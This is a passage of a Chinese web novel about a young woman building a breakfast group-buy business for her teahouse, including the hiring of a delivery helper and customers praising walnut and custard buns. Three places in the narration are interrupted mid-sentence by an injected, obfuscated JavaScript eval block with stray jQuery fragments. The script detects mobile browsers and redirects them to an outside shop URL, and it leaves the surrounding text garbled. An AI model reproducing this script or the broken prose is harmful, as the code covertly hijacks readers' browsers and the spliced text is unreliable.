按照夏咏恩方才说的工作内容,每日自己只要开车去荣兴楼接货,开着车到荔江新城卸货,将当天客人预约的早餐分发完就可以回来了。
这样一通下来,回到医院最迟也不过是十一点而已,剩下的时间都能照顾丈夫。
而且夏咏恩开出来的条件也很是优渥,通过团购赚到的钱沈红可以分得两成,货车的油费也是由夏咏恩负责。
沈红快速在心里盘算了一下,假如每日团购能卖出去一千块,一个月就是三万,自己能分六千,而且每天只要干三四个小时。
可沈红又有些犹豫,虽然自己只需要工作四五个小时,可丈夫一个人在医院没人照顾,要是出点事可咋办?
她回头看了一眼身后的丈夫,沈大哥就用力握了握她的手,“红啊,你放心地去,我能照顾好自己。”
“要不是我不争气,也不用你这么操心,等我身子好了,一定不叫你受苦受累。”
看着丈夫憔悴的病容,沈红心里一酸,“你这说的是什么话,要不是我一直想让孩子上更好的学校,你也不会想着重操旧业,也不会进医院了!”
两个人说着说着,都忍不住哽咽了起来,就连在旁的夏咏恩,都忍不住泛起了泪花。
沈红用手指揩了揩泪,对着夏咏恩说,“姑娘,这事我应了,明日就能上岗。以后要是还有别的活,都尽管找我,我什么都能干。”
31. 核桃包
夏咏恩拍了拍沈红的手背,安慰道,“不急,我们茶楼的团购业务下周一才正式开始,这几日我先将要售卖的点心详情发给你,你熟悉一下各类点心,方便之后的团购工作。”
沈红含泪点头,亲自送夏咏恩出了住院部。
了结了一桩大事,夏咏恩终于是松了一口气。
荣兴楼上下都在紧锣密鼓地准备着团购的事宜,现在万事俱备只欠东风,只等团购的小程序审核完,就能正式推行了。
六日后,早餐团购小程序正式上线。
这几天,吴帆一直在律所帮忙张罗团购的事,经过他的一番介绍,许多同事都很是心动,他就拉了一个团购群,时不时就发一些点心的照片上去。
几天时间,团购群的人数从十几人发展到五六十人,而且还有不断增加的势头。
等小程序上线,吴帆第一时间就往群里转发了,“大家想吃什么可以提前下单,最迟晚上十点截单,明天八点半就有人把香喷喷的早餐送到公司楼下了。”
上线两个小时后,后台就显示明天的早餐已经预订了五十多份。
何玉强导出数据,逐一记录,对着后厨喊道,“核桃包再加五笼!”
在厨房忙碌备料的夏咏恩和赖美珍,对视一眼忍不住笑了起来,又很快低下了头,重新专注手上的活计。
隔天,周一清晨,一辆微型货车停在了荣兴楼的门前。
今日沈红将自己收拾得很是整洁,头发也扎了起来。
夏咏恩早早地就将点心都装好了,两人合作将一筐筐点心抬到车上,没过多久,货箱就装满了。
沈红看了看时间,已经是七点半了。
她正想开门上车,就见夏咏恩拿着一件短袖急匆匆地走了出来。
“红姐,这个是我们茶楼的工作服,以后你就换上这个出工。”
短袖是暗红色的,左胸印着荣兴楼的商标,背后印着“荣兴楼”三个字,远远地扫一眼就能看得很清楚。
拿到这件工作服后,沈红上手一摸,很是惊讶,“这衣服,竟然是棉做的料子。”
从老家出来打工后,她到过不少地方干活,不少店都会统一派发工作服,可那些老板订制的都是涤纶面料,穿起来难受得很,大夏天的捂出一身痱子,根本不适合干活。偶尔有几个良心老板会用涤棉混纺,已经算很不错了。
可现在手上的这一件,竟然是纯棉的面料。
夏咏恩点点头,“是啊,花城常年气温高,这纯棉的衣服穿起来透气又舒服,干起活来也方便不少。”
对荣兴楼来说,拓展团购业务不单单是为了赚钱,还要提高荣兴楼的知名度,让更多的人认识荣兴楼,工作服印上字,不就是活招牌吗?
于是在团购还没上线前,夏咏恩便把工作服捣鼓了出来。
沈红接过工作服,兴致冲冲地到了休息室里头换衣服。
夏咏恩、何玉强以及赖美珍也把工作服换上了,四人齐齐在镜子前照了照,暗红色的衣服穿在身上显得人很是利落,格外的精神抖擞。
赖美珍对着镜子转了一圈,“这衣服真心不错,把我衬得都年轻了几分。”
何玉强轻哼一声,“好看吧,我设计的!”
说完,又得意地看向夏咏恩。
夏咏恩对她竖起大拇指,“那是自然,你最棒了!”
沈红整了整衣服走出荣兴楼,载着一车的早餐,来到了荔江新城。
前几日夏咏恩已经带着她踩过点,因此沈红今日就顺着捷径来到了派发早餐的地方。
等她卸完货,已经来了几个取早餐的白领。
吴帆背着双肩包来到了取餐点附近,昨晚经过艰难的抉择,他选了一个生肉包,一个核桃包,以及一个鸡蛋。
这阵子因着张罗团购的事,他也算是在律所里小小地出了一把风头。同龄的实习律师,几乎都被他招揽进了律所的团购群里,许多刚进来的人都会问道,“这家店味道怎么样啊,好吃吗?”
对于这个问题,吴帆统一回答,“这么便宜,就算味道一般,我们也不亏啊。”
尽管他并没有吃过夏咏恩做的点心,可数学题还是会做的,与其花十块钱买一个什么都不加的贝果,还不如花两块五买一个生肉包。就算生肉包的肉只有零星少许,那也是肉啊!
反正上班嘛,也不求味道有多好,只要能填饱肚子就行了。
和他抱着同样想法的人并不在少数,因此团购第一日,后台的预订单就多达两百多单。
夏咏恩已经提前将各类早点都在保温箱里码好了,只需要沈红依着各人预订的内容快速打包好就可以了。
沈红的动作很是麻利,队伍移动得很快,因此尽管吴帆前面有七八个人,他也只等了两分钟,就拿到了自己的早餐。
拎着手上的早餐,他兴高采烈地回到了律所。
三样早点放在了一个塑料盒里,盒盖上印着荣兴楼的商标,盒子的外侧面有“荣兴楼”的字样,塑料盒外还套了一个袋子,袋子里还附了两个塑料小叉。
吴帆迫不及待地打开盒子,核桃包有拳头那么大,圆嘟嘟胖滚滚的,外皮不知道是怎么做的,布满了深浅不一纵横交错的纹路,看上去都能以假乱真了。
而且核桃包的表面有一层淡淡的光泽,就像一颗被盘了很多年的核桃一样。那小麦色的外皮轻轻一按就回弹,还散发着淡淡的麦芽香气。
吴帆的肚子不争气地叫了起来,赶紧先咬上一口,谁料里头温热的馅在手指的微微挤压下涌了出来,直接滴到了桌上。
顾不上清理桌子,他又狠狠地咬了一大口。随着那冒着热气的绵软浓稠的坚果酱混合着奶酱流入舌尖,吴帆瞬间睁大了双眼。
好香,香得舌头都要掉了!
坚果碎很是绵密,却也能嚼到不少核桃仁,吃起来又脆又甜,而小麦色的外皮吃起来有丝丝的微苦,正好平衡了内馅的甜味。
吃完了一整个核桃包,意犹未尽的吴帆赶紧给夏咏恩发消息,“学妹,你这核桃包怎么做的,太好吃了吧!”
核桃包是新式的早茶点心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522544|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,这些年在许多茶楼都能吃到,吴帆自然也吃过不少,只不过许多核桃包里都用了白巧克力和猪油,因此刚吃的时候觉得很香,可吃完一个就觉得腻得慌,浑身都难受。
但夏咏恩做的核桃包却丝毫都不甜腻,无论是口感还是味道,都令人回味无穷。
吴帆甚至还有一种隐隐的冲动,他想把桌上的那点馅也舔舔!
收到消息的夏咏恩微微一笑,荣兴楼的配方果然就是不一样。
她用炼乳、黄油、牛奶取代了白巧克力和猪油,吃起来就没有那么腻了,而且在包子外皮还放了许多可可粉,吃起来更醇香的同时,还能减少甜腻的感觉。
“学长,好吃的话记得帮我多宣传宣传啊!”
吃生肉包吃得忘乎所以的吴帆回复消息,“那是自然,我不帮你宣传一下都对不起你的厨艺啊。”
他点开群聊,写了一条四百多字的小作文,极力夸赞方才吃到的核桃包。
群里一下子就活跃了起来,有许多今天买了团购早餐的同事也在下面附和,“吴律介绍的这间真的不错,我今天吃了一个生肉包,里面的肉超级大一个,而且绝对是纯猪肉。”
“我的那个流沙包也好吃,里面的馅香死我了,真后悔今天就买了一个。”
“你们明天买咸水角吧,这才是真神,又脆又香里面还是糯糯的。”
……
坐在电脑面前的吴帆正准备回复消息,团队里的授薪律师钟律师突然走了过来,“小吴啊,昨天的尽调报告你写完了吗?”
吴帆来不及切换微信对话框,方才写的四百多字长文就这么亮在了电脑屏幕上。
他赶紧站起身装作忙碌的模样,开始收拾桌面的文件,试图挡住电脑屏幕,“啊那个呀,我就还差最后一部分了,应该下午就能出初稿。”
钟律师点了点头,却没有离开,小声问道,“那个,听说你最近在搞什么团购?”
“啊?”吴帆一愣,尴尬地笑了笑,“不是我搞的,是我朋友开的店,我就是帮忙宣传一下。”
钟律师今年四十多岁,有些秃顶,是刑警出身,平日里颇为严肃,团队里的几个实习律师都有些怕他,吴帆自然也不例外。
见钟律师问起,吴帆心中一紧,自己也不过是帮人宣传宣传,顶多就是工作的时候摸鱼写了食评而已,钟律师该不会是想给老板打自己的小报告吧!
钟律师的目光扫了扫吴帆桌面的早餐盒,“好吃吗?听说特别便宜。”
“好吃!特别好吃!”吴帆重重地点了点头,往旁边挪了挪,亮出了电脑屏幕。
钟律师皱着眉头快速看完了那四百字的食评,吐出一句话,“如果你的尽调报告能写得跟这个一样好,你就能少加点班了。”
吴帆内心怒吼:我宁愿写五万字食评也不愿打开尽调报告!
他将团购小程序转发给钟律师,自己又忍不住打开团购页面挑了起来,明天要吃什么好呢,是吃生肉包还是吃咸水角好呢,要不尝尝奶黄包?可是今天的核桃包还想再吃一回……
32. 员工福利
上午十点,沈红叉着腰长舒一口气。
开展团购的第一天,就这么圆满地结束了,保温箱里还剩下四个生肉包,两个鸡蛋,一杯豆浆。
她点开小程序后台一看,确认所有人都已经领取完早餐,那怎么还有多出来的早餐?
正纳闷时,就收到了夏咏恩的消息:“红姐,多出来的早点是你的早餐,记得趁热吃。”
沈红一愣,拿起箱子里那拳头一般大的生肉包仔细端详。
这么好的肉包子,自己竟能免费吃四个?
她眼眶一热,低头咬了一小口,还没吃到里头的馅,眼泪就先掉了下来。
吃下一个生肉包后,沈红便开着车回到了荣兴楼。
今天总体上来说比较顺利,但沈红还是发现了不少问题。
现在夏咏恩采用的方式是,食客先在小程序上预约,沈红根据每个食客预约的明细,将保温箱中的早点分拣到盒子里,再打包好递给食客。
因此,沈红就要花费十几秒的时间去确认食客预约的早点内容,才开始分拣打包。
这样一来,花费的时间就久了。要是遇上那些买得多的食客,沈红得看两回预约明细才能拿齐全部的早点。
而且现在只有她一个人打包早点,尽管她的手脚已经足够麻利,但排队的人实在太多,忙中总会出错,一出错就容易慌神,节奏也乱了。
而白领们都是赶时间上班的,多等一分钟,别人可能就不愿意了。
夏咏恩听着沈红的汇报,连连点头。不得不说,沈红在做生意上还是十分有经验的,要是换别人去,一定不会发现这些问题。
自己请沈红回来,果真是最明智的决定。
夏咏恩立马就想到,如果自己按照预约明细,将每一份早餐都提前装好的话,这样沈红去到荔江新城只要按照手机尾号发早餐就行。
不过,这样做虽然能减少排队的时间,但会有一个非常大的问题,那就是点心要是在餐盒里捂太久了口感就会变差。
包子类的外皮会变软,甚至会被水汽浸得软烂,煎炸类的也会回潮变软,失去了香脆口感。
如果不改变出餐的方式,就得给沈红找多一个帮手,无疑又得增加新的成本。
看来,沈红说的这个问题,不是一时半会就能解决的。
“这个事我先琢磨琢磨吧,这几日就辛苦你了,有什么新的问题也麻烦你多多替我留心。”
沈红下意识地往后退了半步,赶紧摆了摆手说,“不麻烦,这都是我应该做的。”
这样好说话的老板,她还是头一回见。自己现在不仅有工作服穿,还有免费的早餐,而且一天就干四个小时的活,上哪去找这么好的工作啊。
夏咏恩笑了笑,忽然留意到沈红左边裤子的口袋鼓鼓囊囊的,不知道放了什么东西。
沈红蜷了蜷紧贴在裤袋边上的手指,把口袋里的东西掏了出来,“我、我想着我家男人没吃过,就想着带回去给他尝尝,而且这里头的肉那么多,也能补补营养什么的……”
沈红心里一团乱麻,今日自己才第一天上工,该不会就被老板怪罪了吧!
这半个月来家里的存款快速减少,平日丈夫在医院饭堂吃饭,连带点荤油的都不舍得买。
这包子里的肉是新鲜的好肉,比医院饭堂卖的好,吃进肚子里总算有点油水,她这才特意留下来的。
她低着头,眼皮往上抬了抬,打量着夏咏恩的神色。
谁想夏咏恩一拍大腿,哎呀一声,拿过沈红手里的生肉包,“早上我真是忙忘了,给你拿少了,你等等,我再去给你拿多两个。这三个已经冷了,我帮你热一热,你再拿过去医院给沈大哥吃。”
见夏咏恩像小旋风一样跑进厨房,沈红呆愣在了原地,口中翻来覆去地说着谢谢。
“红姐,你就别跟我客气了,之前摆摊的时候你们也帮过我不少,”夏咏恩把生肉包装好,温柔一笑。
沈红接过那袋子生肉包,又听夏咏恩说,“不过啊,我可不是什么做慈善的,沈大哥吃了我的包子,就得赶紧好起来,然后跟你一起帮忙送货。”
要给沈红找个帮手,最好的人选不就是她的丈夫吗?要是夫妻俩齐上阵,团购的事情夏咏恩也能放心了。
……
住院部的病房内,翘首以盼的沈大哥,终于等到了沈红回来。
还不等他开口说话,就见沈红气喘吁吁地把手里提着的东西放到桌子上后,便快速跑了出去,又提了许多东西回来。
三斤新鲜的猪筒骨,两条大黑鱼,六只刚宰杀的鸽子,三大箱纯牛奶,全都堆在了病床前。
沈大哥微微一愣,“你这是……去大采购了?怎么突然买那么多东西?”
这些东西加起来恐怕都要五六百块了,夫妻俩现在手底下还剩多少钱,沈大哥也不是不清楚。
平日里沈红都是紧着用的,可今天却破天荒大方起来了,买了这么多好东西。
沈红坐在病床边歇了口气,“这医院饭堂的饭菜根本就没有营养,你现在刚做完手术,要是不好好补补身子,怎么能快些好起来?倩倩还等着见你呢。”
听见女儿的名字,沈大哥苍白的面上露出一抹失落,心里忍不住猜想起来,妻子突然出手阔绰,又提起女儿,多半是动了要回乡的念头。
可看夏老板的态度,她是很看重沈红的,难不成是妻子第一天上工就出了差错,就这样被辞退了?
沈大哥看着妻子忙碌的身影,心中很是内疚,“你放心,我一定快些好起来,不会让爸妈和孩子知晓的。”
沈红拆了一盒牛奶出来,递到丈夫的手里,“我都安排好了,今天中午喝鱼汤,晚上喝筒骨汤,明天喝鸽子汤,这些东西可花了我不少钱,你可千万别浪费了。”
“等你好了,我就跟老板说,让你跟我一起去送货去。”
说罢,还从怀里掏出来几个生肉包,还有一个鸡蛋。
沈大哥满脸错愕,“送货?送什么货?那个茶楼的工作,你不是没成吗?”
“呸呸呸!你说什么呢!”沈红拿生肉包堵住了他的嘴,“我能有干不好的事?而且那老板是个善心人,我不仅有工资拿,还有免费的早餐。”
虽然今天只是上工的第一天,可她却突然觉得生活有了奔头,这才狠下心来买了不少东西,反正钱之后还能赚到,身子才是最要紧的,
肉包子的香气飘进了鼻腔中,沈大哥下意识地咬了一口,鲜美
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527533|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的肉汁瞬间就激活了寡淡的舌尖。
生肉包的外皮有些烫手,里头的温度刚刚好,吃起来并不烫嘴,沈大哥咬了几口,很快就把包子吃完了。
在医院的这些天里,他每天都吃清粥小菜,吃得都快失去味觉了,而如今口中的这个生肉包,皮薄馅大,肉馅紧实又多汁,实在是太美味了!
“好吃吧?我早上吃了一个,就不舍得吃了,想着留给你尝尝。”
沈大哥舔了舔嘴唇,这才意识到刚刚妻子说的事,“你说的是真的?”
他也不是没有打过工,天底下哪来这样的老板,怕不是菩萨在世吧!
沈红重重地点点头,掏出自己今日收到的工作服,“你摸摸,这料子,多好啊。”
今日早上她站了四个小时,出了一身的汗,可这身衣服并不会黏在身上,而且没过多久就干了,而且还一点臭味都没有。
看见那件工作服,沈大哥这才终于相信了沈红说的话。
他别过脸,吸了吸鼻子,"都是我不好,要不是我伤了腿,也不用你那么辛苦卖力气干活了。"
沈红皱眉,“你说的这叫什么话,现在正是最艰难的时候,你什么都别想,好好在医院里养伤就是了,你若真想帮我,就赶紧好起来才是!”
她都想好了,等丈夫的腿伤好了,两个人早上送货,晚上出摊卖酱香饼,攒点钱再把孩子接过来城里见见世面。
沈大哥应了一声,又用手背抹了抹泪,拿起床边的生肉包狠狠地啃了一口。
另一边,荣兴楼内,赖美珍面前站着两个人,一男一女,皆是三十多岁的模样。
“跟之前说好的一样,一个小时二十五块,周一到周五干五个小时,如果周六日需要加班,按照三十块一个小时算。”
两人点了点头,赖美珍又说了店里的规矩,才发下两件新的工作服。
前些日子都是夏咏恩和赖美珍两人在做点心,如今随着团购业务的推出,两个人就算是通宵不睡,也没办法做完那么多点心。
何玉强虽然想帮忙,但实在是心有余而力不足,于是夏咏恩决定,记录招两个日间的帮工好了。
原本何玉强还想着在波斯直聘上发个招聘广告,赖美珍听了直摇头,波斯直聘哪能招到合适的人?要想找个能干事的,还得靠珍姨严选。
赖美珍重回以前打工的糕饼铺子,和店铺里的老姐妹有说有笑,店老板十分警觉:“你该不会是来挖墙脚的吧!”
她摆了摆手,又笑了笑,“我确实是来挖墙脚的,不过我挖的不是你们。”
糕饼铺子生意一向很好,店里足足有十个做糕饼的师傅,可到了年节,也还是忙不过来,必须得去外头请人。
珍姨想要的,是这些逢年过节会来糕饼铺子帮忙的熟练工。
经过店老板的介绍,赖美珍很快就联系到了两个新的帮工。
二人先前都跟珍姨共事过,性格人品都是不错的,夏咏恩亲自见过,逐一试了手艺,也很是满意,这事就这么定了下来。
二人第一天上岗,荔江新城的团购就爆单了。
夏咏恩一刷新后台数据,笑得见牙不见眼。好家伙,竟然有三百多单的团购预订,自己这是要发了啊!
33. 奶黄包
昨日是开展团购的第一天,成交了两百四十单,夏咏恩已经很是满足了。可今日的预订量比昨日还要多,竟然已经达到了三百一十单。
要不是招了两个日间的帮工,这么多的订单怕是吃不下,更别说还要准备早餐铺和冯姐那边的早餐了。
夏咏恩点进系统,查看任务数据,发现食客认可度已经涨到了1228。
按照这样的势头保持下去,看来在30日内完成食客认可度达到2000的任务完全不是问题。
荔江新城写字楼林立,有购买早餐需求的白领成千上万,只要自己好好干,荣兴楼的名头完全能响彻荔江新城。
只不过,加上两个新来的帮工,茶楼里统共就四个人。
要是订单太多,怕是会吃不消,而且现在只有沈红一个人负责团购,订单一下子激增太多,对荣兴楼也是一种负担。
夏咏恩半是激动半是忧愁,有条不紊地指挥着厨房里的三人,凌晨五点的荣兴楼,已是灯火通明。
六层的大蒸笼里蒸着生肉包、流沙包、奶黄包、核桃包等各类蒸点,油锅里发出“滋啦滋啦”的响声,咸水角和咸煎饼在油锅里沉沉浮浮,待厨房内的蒸汽散开后,墙上的时钟已经指向了七点半。
沈红的货车准时停在了茶楼的门口,今日她在家里就已经换上了工作服,一身红衣衬得她气色都好了不少。
载好一筐筐早点,沈红正准备出发,何玉强就打着哈欠来到了副驾驶,“红姐,今天我来帮忙。”
昨日沈红提起出餐有些混乱的问题后,夏咏恩连夜就开始了研究。
如果更换出餐的方式,提前把每个人预约的早餐都装好,那为了不让食物的口感发生改变,就必须从包装上下功夫。
富有经验的赖美珍立马就想出了解决的方法,最重要的是,煎炸类的食物一定不能和蒸点放在一起,蒸点自带的水蒸气很容易将煎炸类食物熏软。
至于像钵仔糕和椰汁千层糕这类不会轻易变软的食物,则不用单独分装。
除了要分开放之外,蒸点和煎炸类的食物还必须要换上透气的包装,而且在包装里头得垫一层吸油纸,既吸油也可以吸走里头的水汽。
夏咏恩查了一下,透气的包装盒以牛皮纸盒子最佳,既可以保温也可以透气。
可再一看价格,她的心就凉了半截,一百个牛皮纸盒子就要八块钱,若是要额外订制印上商标还得再加钱。
假如每天团购的订单以三百单计算,一天下来光是花在牛皮纸盒子上的钱最少也要二十四块,一个月就将近五百块了。
更别说还得在纸盒里面放吸油纸,这样一套下来,花在包装上的钱就要一千块了。
夏咏恩思来想去,还是有点心疼这个钱。
她找到何玉强,语重心长地说,“玉强同志,组织现在有一个非常重要的任务要交给你。”
这些日子何玉强亲眼看着夏咏恩忙前忙后,硬生生就捣鼓出团购的业务来,对夏她的崇拜那是更上了一层楼。
而且在荣兴楼里待久了,她也渐渐发觉,那些美味的点心,好像真是小夏做出来的啊!
之前对夏咏恩开茶楼的担忧,不知在何时已然烟消云散。面对好友的求助,刚从床上爬起来的何玉强打了个哈欠,眯着眼睛道,“保证完成任务!”
沈红载着何玉强来到了荔江新城,还没到领取早餐的时间,领取点就已经聚了六七个人了。
有了何玉强帮忙,今天打包出餐的速度果然快多了,队伍快速缩短,白领们捧着早餐满意地离开。
睡迟了的吴帆急匆匆地赶到了领取点,没过多久,他的身后就来了一个人。
他惊讶转过身,“钟律师,你也来拿早餐啊?”
钟律师面无表情地点了点头,“我买了你昨天推荐的核桃包。”
说完,钟律师便没有再开口,突然之间,气氛就冷了下来。
吴帆在心里抓耳挠腮,不知道要说什么好,钟律师毕竟是自己的前辈,不搭理他吧,好像也不是很好,可平日两个人实在不熟,要聊天也没有什么话题。
两个人就这么沉默地来到了沈红的面前,吴帆认真一看,“玉强,怎么是你啊!”
何玉强忙着打包,只回了一句,“生活艰难,我也要打工啊。”
“怎么,你家葡萄酒也上漂亮国的制裁名单了?”
何玉强嘿嘿一笑,“被你猜对了!”
今天吴帆要了一个奶黄包,一个核桃包,外加一杯豆浆。他和钟律师前后脚进了律所,刚坐下,两人就同步打开了塑料盒。
许多人常常会将奶黄包与流沙包混淆,但两者的馅料其实完全不一样。
奶黄包的馅是甜口的,质地相对来说更细腻,不会有流心状。而流沙包因为放了咸蛋黄,所以是咸甜口的,而且馅料呈现沙沙的质感,还会有流心状。
经过昨日的教训,吴帆这回小心翼翼地掰开了奶黄包,黄灿灿的馅料犹如布丁一样,满满地镶嵌在薄薄的包子皮里,黄油和牛奶的香气瞬间就攻进了鼻腔里。
他迫不及待地咬上了一大口,绵密顺滑的馅料吃起来就像丝绒一般,滑进了舌尖。
牛奶和黄油的醇香充斥在口腔里,和鸡蛋的香味交织在一起,奶黄馅沾在软乎乎又带点韧劲的面皮上,一口吃下去,又香又甜,任谁吃了都会忍不住露出幸福的笑容。
大早上吃上一个美味的奶黄包,吴帆心情大好,幸福得直冒泡。只是后悔方才只买了一个,吃得真不过瘾。
而对面桌子的钟律师,正捧着核桃包大快朵颐,吃得不亦乐乎。
吴帆甚至还在钟律师一向严肃的脸上,看到了一抹笑意。
两人对视一眼,钟律师擦了擦嘴,“昨天你那份尽调报告有许多要改的地方,你打开网盘看看吧。”
吴帆的好心情终止于此,苦哈哈地打开了团队网盘。
国庆假期即将来袭,吴帆早就计划好要去旅游,偏偏老板在假期前接了个尽调的工作,还要求节后第二天就要交给客户。
为了不在假期时工作,他只得紧赶慢赶地把尽调报告写完。报告写到一半,绿泡泡跳出一条短信,“过两周的同学聚会我可能去不了了,有工作要忙。”
吴帆秒回,“大作家,又去哪里采风啊?”
过了五分钟,对面回复,“最近接了一个关于乳鸽的合作,得去仲山市一趟。如果能提前完成的话,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531148|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应该能赶回来。”
“仲山啊,那你记得给我带点特产,”吴帆的手指在键盘上飞舞,开玩笑回复,“你人来不了也没事,钱到了就行。”
吴帆接着发了一个“抱大腿”的表情包,又接着问,“不过说真的,最近你有没有吃到什么好吃的餐厅啊?”
国庆假期过后,是律所成立三十周年的纪念日。吴帆老板提议,这次纪念日大家一起去爬山,增进一下团队内部的凝聚力,以及各团队的协作。
既然要团建,那全律所一百多号人吃饭的问题就成了大事。好巧不巧,团建那日早餐的事宜就交给了吴帆负责。
这事一开始他想得很简单,就打算在公司楼下找连锁的快餐品牌订早餐。可同事们一听都是怨声载道,说平时都吃够了,好不容易去团建,就想吃点好的。
事关一百多号人的吃饭问题,吴帆不敢将就,于是这些天空闲的时候搜罗了不少面包店和早餐铺,只是很快又被其他同事否决了。
隔了几分钟,对面回复,“我知道有一家包子很好吃,不过就是有点远,在荔芳区。”
吴帆无奈回复,“那确实太远了,估计这种小店没法送过来。”
律所楼下,沈红与何玉强将地上的箱子全都抬回车里。
今日的早餐团购也是无惊无险地结束了,何玉强打着哈欠走进荣兴楼,见只有珍姨带着两个帮工在忙,“小夏呢?”
珍姨赶紧“嘘”了一声,用手指指了指楼上,“睡着呢,我看她睡得可香了,应该是这几日累坏了。”
前阵子忙着团购,赖美珍的煲汤计划只得搁置。现在好不容易有了帮工,她总算能喘口气,正打算出门去汤料铺买东西回来,煲一大锅靓汤,让夏咏恩好好补补。
而房间内的夏咏恩,进入了许久都没有进过的无界空间里。
她打开点心图鉴,砵仔糕、椰汁千层糕、白糖糕、马拉糕、香煎玉米饼、水晶饼、咸水角、咸煎饼、生肉包、流沙包、奶黄包、核桃包全部都已经达到了A等级。
而新增的点心“酥皮蛋挞”,点心等级依旧停留在B等级。
和以往做过的其他点心不同,酥皮蛋挞步骤特别复杂,首先要分别制作水皮和油心,做好后就要开酥,也就是用水皮包着油皮进行重复的擀制。
开酥后要用特殊的模具印出蛋挞的皮,再将蛋挞皮捏进盏上。最后才开始调制蛋挞芯,也就是蛋液。
就算能够在空间练习,这么多天过去了,熟练度才涨到了二百一十九。
夏咏恩虽然抓狂,但也明白这事急不来,毕竟酥皮蛋挞现在还没有面世的机会。
因为酥皮蛋挞大部分人都是买回家当作甜点吃的,这一点跟早餐时段目标人群的消费习惯不太符合,就算上架了,估计也不会有多少人来买。
因此,她决定目前还是抓大放小,先稳步推进团购的事宜,争取在荣兴楼开业前积攒更多的资金。
在无界空间耗尽十点体力,夏咏恩意识朦胧之际,就听见何玉强一边敲门一边喊道,“小夏,冯姐来了。”
夏咏恩一骨碌爬起来,理了理头发才走出了房间,而门外的冯姐,正焦急地在大堂里踱步,面上带着几分担忧。
34. 业务转移
十分钟前,冯姐挎着一个小包走进荣兴楼,脚上踩着一双坡跟鞋,头发卷得翘翘的,时髦得很。
最近她听说夏咏恩的早餐店开得风生水起,还新搞了什么团购,把生意都做到荔江新城去了。
不得不说,人家小姑娘看着年轻,头脑却好用得很啊!还好自己当时跟对了人,不然现在哪能过得那么舒服啊。
学校早餐的生意越来越旺,算完分成到手都能有七八千,儿子女儿不要她补贴家用,冯姐的小金库也是日益丰满,最近还买了一只大金戒指。
现在她逢人就说起夏咏恩对自己的知遇之恩,街坊邻里都知道,现在冯姐跟着夏咏恩吃香的喝辣的,已是今非昔比啦!
至于店里的肥咪,成了邻里口中的招财猫,谁来了都要摸一把。
不过,今日来荣兴楼,冯姐的心里其实是有些忐忑的。
昨日收摊之时,夏咏恩笑眯眯地说,“冯姐,明日你下午有空的话过来我们茶楼里坐坐呗,我最近做了不少新品,想拿给你尝尝,顺便也想跟你聊聊有关代销的事情。”
虽然夏咏恩温声细语,可冯姐也不是傻子,一眼就看出来她定是有什么要紧的事情要跟自己说,不然平时她把新品带过来就是了,也不至于要自己跑一趟茶楼。
晚上躺在床板上,冯姐辗转反侧。突然要找自己谈谈,难道是这阵子自己出了什么差错?可是仔细想想,最近也没发生什么大事呀?
想了一晚,她还是没有什么头绪,第二日拿粉遮住眼下的青紫,穿了一身新衣服就迈进了荣兴楼内。
夏咏恩从厨房端出一笼包子,里面有核桃包、流沙包、奶黄包,“冯姐你尝尝味道怎么样?”
“哎哟你做的点心,那肯定是这个了!”冯姐对夏咏恩竖起大拇指,然后举起筷子夹上一个奶黄包,仔细地品味了一番。
香、甜、软、嫩齐聚在一个小小的包子里,冯姐不由得感慨,这包子实在是太好吃了,这面皮怎么那么软呼,馅甜甜的但是一点都不腻,别说是中学生了,自己一口气都能吃六个。
一时之间,冯姐就将方才的紧张抛在了脑后,低头吃着面前的包子。
夏咏恩在她的对面坐下,“冯姐,早餐那边您还忙得过来吗?”
“能!怎么不能,而且我家老头不是没事干吗,我就把他拉到店里帮忙了,”冯姐擦了擦嘴巴,心里的那一根弦又紧绷了起来,“小夏老板,怎么突然问起这个来了?”
“你也知道,我们茶楼最近新增了团购的业务,现在每天都忙得不行了,恐怕之后就很难抽时间去学校那边摆摊了。”
冯姐大惊失色,“什么?你不来学校摆摊了?”
夏咏恩给她倒茶,又笑了笑,“我是没空了,但是摆摊肯定还要继续的嘛。”
“所以我就有一个想法,要不放学时候的摆摊也麻烦您负责,学校那边的事就全托给你了。”
至于分成还是不变,依旧三七分。
听见夏咏恩这样说,冯姐原本心中的忐忑不安,瞬间烟消云散。她万万没有想到,今日来这一趟,自己的代销生意竟然要扩张了,可兴奋之余又不免担忧,这么大的生意,自己能弄好吗?
不过,都是卖点心而已,应该也没什么区别吧?
“您别看我现在又开早餐铺又搞团购的,一开始要不是在学校门口摆小摊,我哪能赚上钱啊,”夏咏恩上半身前倾,和冯姐推心置腹,“现在早餐铺和团购的生意刚起步,势头虽然好,可以后怎么样,还难说呢!”
